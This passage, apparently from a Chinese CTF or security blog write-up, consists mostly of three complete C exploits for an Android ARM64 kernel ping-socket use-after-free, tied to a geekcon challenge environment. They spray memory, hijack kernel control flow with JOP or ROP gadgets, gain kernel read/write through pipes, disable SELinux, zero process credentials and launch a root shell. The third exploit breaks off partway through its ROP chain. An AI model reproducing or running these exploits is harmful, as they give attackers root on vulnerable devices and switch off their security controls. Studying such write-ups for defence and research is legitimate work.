for(j = 0 ;j < ONE_MMAP_SIZE/PAGE_SIZE; j++){
memset((char*)mmaped[i],0x41,PAGE_SIZE);
mapped_page = (void*)((char*)mmaped[i]+j*PAGE_SIZE);
*(unsigned long long*)((char*)mapped_page + SK_STAMP_OFFSET) = MAGIC_VALUE + mmap_page_count;
mmap_per_page[mmap_page_count] = mapped_page;
mmap_page_count++;
}

}
}

int find_target_sk(int num){
int i,j,ret;
struct timespec time;
unsigned long long value;
unsigned long long compare_value;
int found = 0;

vuln_sock_index = 0;

for(i = num ; i < MAX_SOCK_NUM; i++){
memset(&time, 0x0, sizeof(time));
ret = ioctl(vuln_sock[i], SIOCGSTAMPNS, &time);
value = ((unsigned long long)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec;

for(j = 0; j < mmap_page_count; j++){
compare_value = *(unsigned long long *)((char*)mmap_per_page[j]+SK_STAMP_OFFSET);
if( value == compare_value){
printf(" found a vuln sock, index: %d, maigc value: 0x%llx\\n",i,value);
vuln_sock_index = i;
vuln_page = mmap_per_page[j];
found = 1;
break;
}
}

if(found == 1){
break;
}

}

if(found == 1){
return 0;
}else{
return 1;
}

}

void read_kernel(unsigned long long k_addr, unsigned long long* u_addr){
int pipe_fd[2];
pipe(pipe_fd);
write(pipe_fd[1],(void*)k_addr,0x8);
read(pipe_fd[0],u_addr,0x8);
}

void write_kernel(unsigned long long k_addr, unsigned long long* u_addr){
int pipe_fd[2];
pipe(pipe_fd);
write(pipe_fd[1],u_addr,0x8);
read(pipe_fd[0],(void*)k_addr,0x8);
}

void write_kernel4(unsigned long long k_addr, unsigned long long* u_addr){
int pipe_fd[2];
pipe(pipe_fd);
write(pipe_fd[1],u_addr,0x4);
read(pipe_fd[0],(void*)k_addr,0x4);
}

void disalbe_selinux(){
unsigned long long selinux_addr = 0xFFFFFFC0006EB94C;
unsigned long long disable = 0x0;
write_kernel(selinux_addr, &disable);

}

int main(){
int i,j,k,ret;

ret = maximize_fd_limit();
printf("[+] set rlimlit, now rlim.rlim_cur: %d\\n",ret);
mmap200200();
printf("[+] mmap 0x200200 to avoid crash\\n");

printf("[+] step 1: create vuln socks\\n");
create_vuln_socks();

printf("[+] step 2: mmap spray\\n");
mmap_spray();

printf("[+] step 3: find the target sk\\n");
ret = find_target_sk(0);
if(ret == 1){
printf("didn't find a usable sock...\\n");
sleep(1);
exit(1);
}

printf("then, go to root procedure\\n");

// get root
// kernel_setscokopt change addr_limit
unsigned long long kernel_setsockopt_addr = 0xFFFFFFC000383C6C;
unsigned long long kernel_setsockopt_ret = 0xFFFFFFC000383CAC;

*(unsigned long long*)((char*)vuln_page+0x2A0) = 0x0;
*(unsigned long long*)((char*)vuln_page+0x28) = (unsigned long long)vuln_page;
*(unsigned long long*)((char*)vuln_page) = kernel_setsockopt_addr;
*(unsigned long long*)((char*)vuln_page+0x68) = kernel_setsockopt_ret;

close(vuln_sock[vuln_sock_index]);

// pipe r/w kernel
// unsigned long long kernel_addr = 0xFFFFFFC000752A00;
// unsigned long long user_data = 0xdeadbeef;
// write_kernel(kernel_addr, &user_data);
// user_data = 0x0;
// read_kernel(kernel_addr, &user_data);
// printf("read from kernel, user_data is 0x%llx\\n",user_data);

disalbe_selinux();

unsigned long long mmap_min_addr = 0xffffffc0006ea0f8;
unsigned long long user_data = 0;
write_kernel(mmap_min_addr, &user_data);
unsigned long long test_value = 1;
read_kernel(mmap_min_addr, &test_value);
printf("read from kernel, mmap_min_addr is 0x%llx\\n",test_value);

printf("mmap 0 addr, and read task addr\\n");
void *addr;
addr = mmap((void*)0x0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if(addr == -1){
printf("failed to mmap 0x0, exit and try again\\n");
exit(1);
}

// get cred addr

printf("[+] step n: find another target sk\\n");
ret = find_target_sk(vuln_sock_index+1);
if(ret == 1){
printf("didn't find a usable sock...\\n");
sleep(1);
exit(1);
}

unsigned long long leak_task_addr = 0xFFFFFFC000530A58;
*(unsigned long long*)((char*)vuln_page+0x2A0) = 0x0;
*(unsigned long long*)((char*)vuln_page+0x28) = (unsigned long long)vuln_page;
*(unsigned long long*)((char*)vuln_page) = leak_task_addr;
close(vuln_sock[vuln_sock_index]);

printf("read task addr");
unsigned long long task_addr = *(unsigned long long *)(0x18);
printf("task addr : 0x%llx\\n",task_addr);

unsigned long long cred_in_task = task_addr+0x3a0;
unsigned long long cred_addr = 0;
read_kernel(cred_in_task, &cred_addr);
printf("cred_addr: 0x%llx\\n",cred_addr);

unsigned int cflag = 0;
write_kernel4((char*)cred_addr+4,&cflag);
write_kernel4((char*)cred_addr+8,&cflag);
write_kernel4((char*)cred_addr+12,&cflag);
write_kernel4((char*)cred_addr+16,&cflag);
write_kernel4((char*)cred_addr+20,&cflag);
write_kernel4((char*)cred_addr+24,&cflag);
write_kernel4((char*)cred_addr+28,&cflag);
write_kernel4((char*)cred_addr+32,&cflag);

if(getuid() == 0){
printf("get root shell\\n");
execl("/system/bin/sh", "sh", NULL);
}else{
printf("failed to get root\\n");
sleep(10);
}

printf("end\\n");
sleep(30);

return 0;
}

第二种exp - pipe r/w + JOP泄露

geekcon 环境中给出的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>
#include <signal.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/sockios.h>

#define MMAP_BEGIN 0x200000
#define PAGE_SIZE 4096
#define SIOCGSTAMPNS 0x8907
#define MAGIC_VALUE 0x4B5F5F4B
#define OOM_DISABLE (-100)
#define NSEC_PER_SEC 1000000000

#define STATUS_SUCCESS 0
#define STATUS_FAILURE -1
#define MAX_PHYSMAP_SIZE 128*1024*1024
#define MAX_PATH 0x100
#define MAX_PHYSMAP_SPRAY_PROCESS 6
#define MAX_VULTRIG_SOCKS_COUNT 4000
#define MAX_NULLMAP_SIZE (PAGE_SIZE * 4)

int vultrig_socks[MAX_VULTRIG_SOCKS_COUNT];
void* physmap_spray_pages[(MAX_PHYSMAP_SIZE / PAGE_SIZE) * MAX_PHYSMAP_SPRAY_PROCESS];
int physmap_spray_pages_count;

static int
maximize_fd_limit(void)
{
struct rlimit rlim;
int ret;

ret = getrlimit(RLIMIT_NOFILE, &rlim);
if (ret != 0) {
return -1;
}

rlim.rlim_cur = rlim.rlim_max;
setrlimit(RLIMIT_NOFILE, &rlim);

ret = getrlimit(RLIMIT_NOFILE, &rlim);
if (ret != 0) {
return -1;
}

return rlim.rlim_cur;
}

int spray_nofork(unsigned int size)
{

void* mapped;
void* mapped_page;
int ret, i;

mapped = mmap(NULL, size , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
if(MAP_FAILED == mapped)
{
printf("[*] mmap fail.\\n");
exit(-1);
}

for(i=0; i<size/PAGE_SIZE; i++)
{
memset((void *)((char *)mapped + PAGE_SIZE * i), 0x41, PAGE_SIZE);
mapped_page = (void *)((char *)mapped + PAGE_SIZE * i);

/*
info leak trick mentioned in Xu Wen's paper, a magic value will be read in sock_get_timestampns
ROM:FFFFFFC00038722C LDR X0, [X19,#0x1E0]
ROM:FFFFFFC000387230 BL ns_to_timespec
*/
*(unsigned long *)((char *)mapped_page + 0x1E0) = MAGIC_VALUE + physmap_spray_pages_count;
/*ret = mlock(mapped_page, PAGE_SIZE);
if(-1 == ret)
{
perror("[*] lock the mapped page fail");
return -1;
}*/

physmap_spray_pages[physmap_spray_pages_count] = mapped_page;
physmap_spray_pages_count++;
}
return 0;
}

int kernel_read8(void* kernel_addr, unsigned long* value)
{
int pipefd[2];

if(-1 == pipe(pipefd))
{
printf("[*] create dual pipe fail.\\n");
return -1;
}


if(-1 == write(pipefd[1], kernel_addr, 8))
{
perror("[*] write pipe fail.");
return -1;
}

if(0 == read(pipefd[0], value, 8))
{
perror("[*] read piple fail.");
return -1;
}

return 0;
}

int kernel_read4(void* kernel_addr, unsigned int* value)
{
int pipefd[2];

if(-1 == pipe(pipefd))
{
printf("[*] create dual pipe fail.\\n");
return -1;
}


if(-1 == write(pipefd[1], kernel_addr, 4))
{
perror("[*] write pipe fail.");
return -1;
}

if(0 == read(pipefd[0], value, 4))
{
perror("[*] read piple fail.");
return -1;
}

return 0;
}


int kernel_write8(void* kernel_addr, unsigned long* value)
{

int pipefd[2];

if(-1 == pipe(pipefd))
{
printf("[*] create dual pipe fail.\\n");
return -1;
}


if(-1 == write(pipefd[1], value, 8))
{
perror("[*] write pipe fail.");
return -1;
}

if(0 == read(pipefd[0], kernel_addr, 8))
{
perror("[*] read piple fail.");
return -1;
}

return 0;
}

int kernel_write4(void* kernel_addr, unsigned int* value)
{

int pipefd[2];

if(-1 == pipe(pipefd))
{
printf("[*] create dual pipe fail.\\n");
return -1;
}


if(-1 == write(pipefd[1], value, 4))
{
perror("[*] write pipe fail.");
return -1;
}

if(0 == read(pipefd[0], kernel_addr, 4))
{
perror("[*] read piple fail.");
return -1;
}

return 0;
}

int search_exploitable_socket(int* index, void** payload)
{
struct timespec time;
uint64_t value;
void* page = NULL;
int j = 0;
int exp_sock = -1;
int got = 0;

printf("[*] Searching exploitable socket");
*payload = NULL;
do
{

exp_sock = vultrig_socks[*index];
memset(&time, 0, sizeof(time));
ioctl(exp_sock, SIOCGSTAMPNS, &time);
/*
ts.tv_sec = div_s64_rem(nsec, NSEC_PER_SEC, &rem);
if (unlikely(rem < 0)) {
ts.tv_sec--;
rem += NSEC_PER_SEC;
}
ts.tv_nsec = rem;
*/
value = ((uint64_t)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec;
// printf("search_exploitable_socket: %d, %llx\\n", *index, value);
printf(".");
for(j=0; j<physmap_spray_pages_count; j++)
{
page = physmap_spray_pages[j];
if(value == *(unsigned long *)((char *)page + 0x1E0))
{
printf("[*] magic:%p\\n", value);
got = 1;
*payload = page;
break;
}
}
*index = *index + 1;
}
while(!got && *index < MAX_VULTRIG_SOCKS_COUNT);
printf("\\n");

if(got == 0)
{
return -1;
}
else
{
return exp_sock;
}
}

void* jop(int exp_sock, void *payload) {

printf("[*] JOP leaking sp\\n");

static unsigned long *mmap_addrs[20];
for (int i = 0; i < 20 ; i++) {
mmap_addrs[i] = mmap(NULL, PAGE_SIZE * 4,
PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_ANONYMOUS,
-1, 0);
// printf("mmap_addrs[%d]: %p\\n", i, mmap_addrs[i]);
}

#define ADDR_ADD(p,n) ((void *)((char *)(p) + (n)))

/*
0xffffffc0000e6158: ldr x1, [x19, #0x10]; ldr x0, [x19, #0x18]; blr x1;
0xffffffc0004c708c: ldr x2, [x0, #0x58]; ldr x1, [x0, #0x60]; ldr x2, [x2]; blr x2;
0xffffffc0000ea5c0: ldr x3, [x1, #0x80]; ldr x0, [x0, #8]; blr x3;
0xFFFFFFC0002FD50C: ldr x2, [x0,#0x90]; cbz x2, #0x27d530; ldr x3, [x2, #0x68]; cbz x3, #0x27d53c; ldr x1, [x3, #0x18]; cbz x1, #0x27d530; blr x1;
0xffffffc0004c708c: ldr x2, [x0, #0x58]; ldr x1, [x0, #0x60]; ldr x2, [x2]; blr x2;
0xffffffc000083db8: mov x0, sp; blr x1;
0xffffffc0000eb704: mov x1, x3; ldr x3, [x3, #0xc0]; blr x3;
0xffffffc0004cdd74: str x0, [x1, #8]; mov x0, x19; ldr x1, [x19, #0x20]; ldr x1, [x1, #0x28]; blr x1;

// return to inet_release 0xFFFFFFC00042E3A4
*/

unsigned long *p=payload;
void *x19 = payload;

// 0xffffffc0000e6158: ldr x1, [x19, #0x10]; ldr x0, [x19, #0x18]; blr x1;
p = ADDR_ADD(x19, 0x10);
*p = 0xffffffc0004c708c;
p = ADDR_ADD(x19, 0x18);
*p = (unsigned long)mmap_addrs[0];
// 0xffffffc0004c708c: ldr x2, [x0, #0x58]; ldr x1, [x0, #0x60]; ldr x2, [x2]; blr x2;
p = ADDR_ADD(mmap_addrs[0], 0x58);
*p = (unsigned long)mmap_addrs[1];
p = ADDR_ADD(mmap_addrs[1], 0x0);
*p = 0xffffffc0000ea5c0;
p = ADDR_ADD(mmap_addrs[0], 0x60);
*p = (unsigned long)mmap_addrs[2];
// 0xffffffc0000ea5c0: ldr x3, [x1, #0x80]; ldr x0, [x0, #8]; blr x3;
p = ADDR_ADD(mmap_addrs[2], 0x80);
*p = 0xFFFFFFC0002FD50C;
p = ADDR_ADD(mmap_addrs[0], 0x8);
*p = (unsigned long)mmap_addrs[3];

// 0xFFFFFFC0002FD50C: ldr x2, [x0,#0x90]; cbz x2, #0x27d530; ldr x3, [x2, #0x68]; cbz x3, #0x27d53c; ldr x1, [x3, #0x18]; cbz x1, #0x27d530; blr x1;
p = ADDR_ADD(mmap_addrs[3], 0x90);
*p = (unsigned long)mmap_addrs[2];
p = ADDR_ADD(mmap_addrs[2], 0x68);
*p = (unsigned long)mmap_addrs[4];
p = ADDR_ADD(mmap_addrs[4], 0x18);
*p = 0xffffffc0004c708c;
// 0xffffffc0004c708c: ldr x2, [x0, #0x58]; ldr x1, [x0, #0x60]; ldr x2, [x2]; blr x2;
p = ADDR_ADD(mmap_addrs[3], 0x58);
*p = (unsigned long)mmap_addrs[5];
p = ADDR_ADD(mmap_addrs[5], 0x0);
*p = 0xffffffc000083db8;
p = ADDR_ADD(mmap_addrs[3], 0x60);
*p = (unsigned long)0xffffffc0000eb704;
// 0xffffffc000083db8: mov x0, sp ; blr x1
// 0xffffffc0000eb704: mov x1, x3; ldr x3, [x3, #0xc0]; blr x3;
p = ADDR_ADD(mmap_addrs[4], 0xc0);
*p = 0xffffffc0004cdd74;
// 0xffffffc0004cdd74: str x0, [x1, #8]; mov x0, x19; ldr x1, [x19, #0x20]; ldr x1, [x1, #0x28]; blr x1;
// write sp into ADDR_ADD(mmap_addrs[4], 0x8);
p = ADDR_ADD(x19, 0x20);
*p = (unsigned long)mmap_addrs[6];
p = ADDR_ADD(mmap_addrs[6], 0x28);
*p = 0xFFFFFFC00042E3A4;

// Do JOP
*(unsigned long *)((char *)payload + 0x2a0) = 0;
*(unsigned long *)((char *)payload + 0x28) = (unsigned long)payload;
*(unsigned long *)((char *)payload) = (unsigned long)0xffffffc0000e6158;
close(exp_sock);

void *sp = *(unsigned long *)(ADDR_ADD(mmap_addrs[4], 0x8));
printf("[*] sp: %p\\n", sp);
return sp;
}

int main() {
pid_t physmap_spray_children[MAX_PHYSMAP_SPRAY_PROCESS];
int i, ret, j, exp_sock, exp_sock_index;
unsigned long data8;
unsigned int data4;
void* payload;
void* cred;
void* page;
void* task;
void* files;
void* fdt;

struct sockaddr addr1 = { .sa_family = AF_INET };
struct sockaddr addr2 = { .sa_family = AF_UNSPEC };

if(-1 == maximize_fd_limit())
{
perror("[*] maximize socket limit fail");
exit(-1);
}


for(i=0; i<MAX_VULTRIG_SOCKS_COUNT; i++)
{
vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
if(-1 == vultrig_socks[i])
{
perror("[-] create vultrig socket fail.\\n");
exit(-1);
}

ret = connect(vultrig_socks[i], &addr1, sizeof(addr1));
if(-1 == ret)
{
perror("[-] create vultrig socket fail.\\n");
exit(-1);
}
}

void* user_mm = mmap(MMAP_BEGIN, MAX_NULLMAP_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);
if(MAP_FAILED == user_mm)
{
perror("[-] mmap NULL fail");
exit(-1);
}

for(i=0; i<MAX_NULLMAP_SIZE/PAGE_SIZE; i++)
{
memset((char *)user_mm + PAGE_SIZE * i, 0x90, PAGE_SIZE);
}

for(i=0; i<MAX_VULTRIG_SOCKS_COUNT; i++)
{
ret = connect(vultrig_socks[i], &addr2, sizeof(addr2));
if(-1 == ret)
{
perror("[-] create vultrig socket fail");
exit(-1);
}

ret = connect(vultrig_socks[i], &addr2, sizeof(addr2));
if(-1 == ret)
{
perror("[-] connect vultrig socket fail");
exit(-1);
}
}

printf("[*] physmap spray begin.\\n");
memset(physmap_spray_pages, 0, sizeof(physmap_spray_pages));
memset(physmap_spray_children, 0, sizeof(physmap_spray_children));
physmap_spray_pages_count = 0;
for(i=0; i<MAX_PHYSMAP_SPRAY_PROCESS; i++)
{

if(-1 == spray_nofork(MAX_PHYSMAP_SIZE))
{
printf("[*] physmap spray fail.\\n");
return -1;
}
}

printf("[*] physmap spray done.\\n");

exp_sock_index = MAX_VULTRIG_SOCKS_COUNT / 2;
exp_sock = search_exploitable_socket(&exp_sock_index, &payload);
if(-1 == exp_sock)
{
printf("[*] can't search exploitable socket.\\n");
return -1;
}

/*
to avoid 64bit exp crash in ip_mc_drop_socket
ROM:FFFFFFC0004323D8 LDR X19, [X22,#0x2A0]
ROM:FFFFFFC0004323DC CBZ X19, loc_FFFFFFC00043243C
*/
*(unsigned long *)((char *)payload + 0x2a0) = 0;
/*
hijack PC here
ROM:FFFFFFC00042E394 MOV X0, X19
ROM:FFFFFFC00042E398 LDR X2, [X19,#0x28]
ROM:FFFFFFC00042E39C LDR X2, [X2]
ROM:FFFFFFC00042E3A0 BLR X2
*/

/*
call kernel_setsockopt to set addr_limit 0xFFFFFFFFFFFFFFFF

ROM:FFFFFFC000383C6C STP X29, X30, [SP,#var_20]!
ROM:FFFFFFC000383C70 MOV X6, #0xFFFFFFFFFFFFFFFF
ROM:FFFFFFC000383C74 CMP W1, #1
ROM:FFFFFFC000383C78 MOV X5, SP
ROM:FFFFFFC000383C7C MOV X29, SP
ROM:FFFFFFC000383C80 AND X5, X5, #0xFFFFFFFFFFFFC000
ROM:FFFFFFC000383C84 STR X19, [SP,#0x20+var_10]
ROM:FFFFFFC000383C88 LDR X19, [X5,#8]
ROM:FFFFFFC000383C8C STR X6, [X5,#8]
ROM:FFFFFFC000383C90 B.EQ loc_FFFFFFC000383CB8
ROM:FFFFFFC000383C94 LDR X5, [X0,#0x28]
ROM:FFFFFFC000383C98 LDR X5, [X5,#0x68]
ROM:FFFFFFC000383C9C BLR X5
ROM:FFFFFFC000383CA0 MOV X1, SP
ROM:FFFFFFC000383CA4 AND X1, X1, #0xFFFFFFFFFFFFC000
ROM:FFFFFFC000383CA8 STR X19, [X1,#8]
ROM:FFFFFFC000383CAC LDR X19, [SP,#0x20+var_10]
ROM:FFFFFFC000383CB0 LDP X29, X30, [SP+0x20+var_20],#0x20
ROM:FFFFFFC000383CB4 RET
*/
*(unsigned long *)((char *)payload + 0x28) = (unsigned long)payload;
*(unsigned long *)((char *)payload) = (unsigned long)0xFFFFFFC000383C6C;
*(unsigned long *)((char *)payload + 0x68) = (unsigned long)0xFFFFFFC000383CAC;
close(exp_sock);

printf("[*] now we can R/W kernel address space like a boss.\\n");
/*now we can RW kernel address spcae like a boss.*/

/*
overwirte selinux_enforcing to disable selinux
*/
data4 = 0;
kernel_write4((void *)(0xFFFFFFC0006D6E7F + 0x14ACD), &data4);
printf("[*] selinux disabled.\\n");

exp_sock = -1;
exp_sock_index = exp_sock_index + 1;
exp_sock = search_exploitable_socket(&exp_sock_index, &payload);
if(-1 == exp_sock)
{
printf("[*] can't search exploitable socket.\\n");
return -1;
}

void *sp = jop(exp_sock, payload);

void *sp_task = ((unsigned long)sp & 0xFFFFFFFFFFFFC000) + 0x10;
task = NULL;
kernel_read8(sp_task, &task);

/*
overwrite task_struct->cred to gain root privilege
*/
printf("[*] task:%p\\n", task);

cred = NULL;
kernel_read8((char *)task + 0x398, &cred);
printf("[*] cred:%p\\n", cred);

data4 = 0;
kernel_write4((char *)cred + 4, &data4);
kernel_write4((char *)cred + 8, &data4);
kernel_write4((char *)cred + 12, &data4);
kernel_write4((char *)cred + 16, &data4);
kernel_write4((char *)cred + 20, &data4);
kernel_write4((char *)cred + 24, &data4);
kernel_write4((char *)cred + 28, &data4);
kernel_write4((char *)cred + 32, &data4);

/*
cleanup to avoid crash. overwirte task_struct->files->fdt->max_fds to 0
*/

kernel_read8((char *)task + 0x788, &files);
printf("[*] files:%p\\n", files);

kernel_read8((char *)files + 8, &fdt);
printf("[*] fdt:%p\\n", fdt);

data4 = 0;
kernel_write4(fdt, &data4);

if(getuid() == 0)
{
printf("[*] congrats, enjoy your root shell.\\n");
system("/system/bin/sh");
}
else
{
printf("[*] Oops, you'd better have a cup of tea and try again:(\\n");
}

return 0;
}

第三种exp - 纯 kernel ROP

以下是我用纯rop完成利用的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>
#include <signal.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/sysinfo.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/sockios.h>

#define MAX_SOCK_NUM 4000

#define MAX_MMAP_NUM 6
#define ONE_MMAP_SIZE 128*1024*1024

#define SK_STAMP_OFFSET 0x1E0

#define SIOCGSTAMPNS 0x8907
#define NSEC_PER_SEC 1000000000

#define MAGIC_VALUE 0x66666666 // test before use

#define MAP_STACK_SIZE 0x200

int vuln_sock[MAX_SOCK_NUM];
void* mmaped[MAX_MMAP_NUM];

int mmap_page_count;
void* mmap_per_page[(ONE_MMAP_SIZE/PAGE_SIZE) * MAX_MMAP_NUM];

int vuln_sock_index;
void* vuln_page;

int maximize_fd_limit(){
struct rlimit rlim;
getrlimit(RLIMIT_NOFILE, &rlim);

rlim.rlim_cur = rlim.rlim_max;
setrlimit(RLIMIT_NOFILE, &rlim);

getrlimit(RLIMIT_NOFILE, &rlim);
return rlim.rlim_cur;
}

void mmap200200(){
int ret=0;
void *addr;
addr = mmap((void*)0x200000, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if(addr == -1){
printf("failed to mmap 0x200200\\n");
exit(1);
}
*(unsigned*)addr = 0x100;
ret = mlock(addr,PAGE_SIZE);
if(ret != 0){
printf("failed to mlock 0x200200\\n");
exit(1);
}
}

void create_vuln_socks(){
int i,j;

struct sockaddr_in sa1;
memset(&sa1,0x0,sizeof(sa1));
sa1.sin_family = AF_INET;

struct sockaddr_in sa2;
memset(&sa2,0x0,sizeof(sa2));
sa2.sin_family = AF_UNSPEC;

for(i = 0; i < MAX_SOCK_NUM; i++){
vuln_sock[i] = socket(AF_INET,SOCK_DGRAM,IPPROTO_ICMP);
if(vuln_sock[i] <= 0){
printf("create socket error: %s (%d)", strerror(errno), errno);
}
connect(vuln_sock[i],&sa1,sizeof(sa1));
}

for(i = 0; i < MAX_SOCK_NUM; i++){
connect(vuln_sock[i],&sa2,sizeof(sa2));
connect(vuln_sock[i],&sa2,sizeof(sa2));
}

}

void mmap_spray(){
int i,j;

void* mapped_page;

mmap_page_count = 0;

for(i = 0; i < MAX_MMAP_NUM; i++){
mmaped[i] = mmap(NULL, ONE_MMAP_SIZE , PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
// PRIVATE POPULATE? seems unnecessary
if(mmaped[i] == MAP_FAILED){
printf("mmap failed\\n");
sleep(1);
exit(1);
}

for(j = 0 ;j < ONE_MMAP_SIZE/PAGE_SIZE; j++){
memset((char*)mmaped[i],0x41,PAGE_SIZE);
mapped_page = (void*)((char*)mmaped[i]+j*PAGE_SIZE);
*(unsigned long long*)((char*)mapped_page + SK_STAMP_OFFSET) = MAGIC_VALUE + mmap_page_count;
mmap_per_page[mmap_page_count] = mapped_page;
mmap_page_count++;
}
printf(" [-] %d/%d\\n",i+1, MAX_MMAP_NUM);
}
}

int find_target_sk(int num){
int i,j,ret;
struct timespec time;
unsigned long long value;
unsigned long long compare_value;
int found = 0;

vuln_sock_index = 0;

for(i = num ; i < MAX_SOCK_NUM; i++){
memset(&time, 0x0, sizeof(time));
ret = ioctl(vuln_sock[i], SIOCGSTAMPNS, &time);
value = ((unsigned long long)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec;

for(j = 0; j < mmap_page_count; j++){
compare_value = *(unsigned long long *)((char*)mmap_per_page[j]+SK_STAMP_OFFSET);
if( value == compare_value){
printf("\\n [-] found a vuln sock, index: %d, maigc value: 0x%llx\\n",i,value);
vuln_sock_index = i;
vuln_page = mmap_per_page[j];
found = 1;
break;
}
}

if(found == 1){
break;
}

}

if(found == 1){
return 0;
}else{
return 1;
}

}

void get_shell(){
if(getuid() == 0){
printf(" [-] returned to user space.\\n [-] here is a root shell\\n");
execl("/system/bin/sh", "sh", NULL);
}else{
printf(" [-] failed to get root\\n");
sleep(10);
}
}

void rop_get_shell(){

int i,j,ret;
void* stack_addr = &j;

printf(" [-] prepare rop gadget.\\n");
void* map_addr_1 = mmap(0, MAP_STACK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
void* map_addr_2 = mmap(0, MAP_STACK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
void* map_addr_3 = mmap(0, MAP_STACK_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

memset(map_addr_1,0x0,MAP_STACK_SIZE);
memset(map_addr_2,0x0,MAP_STACK_SIZE);
memset(map_addr_3,0x0,MAP_STACK_SIZE);

int idx_1 = 0;
((unsigned long long *)map_addr_1)[idx_1++] = (unsigned long long)map_addr_2; // x29
((unsigned long long *)map_addr_1)[idx_1++] = 0xffffffc0000d9384; // x30
((unsigned long long *)map_addr_1)[idx_1++] = 0x3f20; // x19 x0+x19
((unsigned long long *)map_addr_1)[idx_1++] = 0x0; // x20
((unsigned long long *)map_addr_1)[idx_1++] = 0x0; // x29
((unsigned long long *)map_addr_1)[idx_1++] = 0xffffffc0000f1194; // x30
((unsigned long long *)map_addr_1)[idx_1++] = 0x0;
((unsigned long long *)map_addr_1)[idx_1++] = 0x0;
((unsigned long long *)map_addr_1)[idx_1++] = 0x0; // x29
((unsigned long long *)map_addr_1)[idx_1++] = 0xffffffc0004ceab0; // x30
